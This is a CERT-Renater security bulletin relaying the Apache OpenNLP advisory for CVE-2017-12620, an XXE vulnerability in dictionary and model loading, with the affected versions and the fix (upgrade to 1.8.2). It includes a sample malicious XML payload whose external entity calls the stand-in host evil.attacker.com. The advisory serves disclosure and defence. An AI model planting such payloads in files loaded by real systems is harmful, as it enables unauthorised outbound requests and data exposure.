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                              CERT-Renater

                 Note d'Information No. 2017/VULN294
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DATE                : 09/10/2017

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running Apache OpenNLP versions prior to
                                        1.8.2.

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http://opennlp.apache.org/news/cve-2017-12620.html
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CVE-2017-12620: Apache OpenNLP XXE vulnerability

Severity: Medium


Vendor:
The Apache Software Foundation


Versions Affected:
OpenNLP 1.5.0 to 1.5.3
OpenNLP 1.6.0
OpenNLP 1.7.0 to 1.7.2
OpenNLP 1.8.0 to 1.8.1


Description:
When loading models or dictionaries that contain XML it is possible to
perform an XXE attack, since OpenNLP is a library, this only affects
applications that load models or dictionaries from untrusted sources.



Mitigation:
All users who load models or XML dictionaries from untrusted sources
should update to 1.8.2.


Example:

An attacker can place this:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://evil.attacker.com/">
]>
<r>&sp;</r>

Inside one of the XML files, either a dictionary or embedded inside a
model package, to demonstrate this vulnerability.


Credit:
This issue was discovered by Nishil Shah of Salesforce.



--The Apache OpenNLP Team

02 October 2017

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